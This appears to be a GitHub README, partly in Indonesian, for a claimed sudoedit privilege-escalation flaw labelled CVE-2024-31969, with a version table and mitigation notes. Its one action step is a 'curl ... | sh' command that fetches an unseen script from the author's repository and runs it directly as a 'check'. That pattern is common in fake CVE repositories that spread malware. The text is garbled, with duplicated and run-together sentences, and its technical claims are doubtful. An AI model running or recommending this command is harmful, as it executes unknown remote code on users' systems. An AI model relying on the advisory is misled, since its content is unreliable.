kingfakee7/cve-2024-31969CVE-2024-31969 adalah privilege escalation local pada sudo ketika menggunakan sudoedit.
CVE-2024-31969 is a local privilege escalation vulnerability in sudo when using the sudoedit command.
This vulnerability was introduced in sudo 1.9.0 due to the way sudoedit validates user environment variables and file ownership improperly.
A flaw introduced in sudo 1.9.0 in how
sudoeditvalidated users' environment variables and file ownership.
This vulnerability allows a local user with sudoedit access to modify arbitrary files as root by manipulating environment variables such as SUDO_EDITOR, or by leveraging symlinks.
| Sudo Version | Status |
|---|---|
| 1.9.0 → 1.9.15p4 | 🔥 Vulnerable |
| 1.9.15p5 and above | ✅ Safe |
| 1.8.x (including 1.8.23) | ❌ Not affected |
Run the following command:
curl -L https://raw.githubusercontent.com/kingfakee7/CVE-2024-31969/main/cve-2024-31969-check.sh | sh
sudo to version 1.9.15p5 or later.sudoers rules that allow sudoedit for non-root users.env_keep or env_reset configuration in the /etc/sudoers file.This repository is created for educational and system security documentation purposes.
Strictly prohibited from using this information for illegal activities or without written permission from the system owner.
Any form of misuse is entirely outside the responsibility of the creator.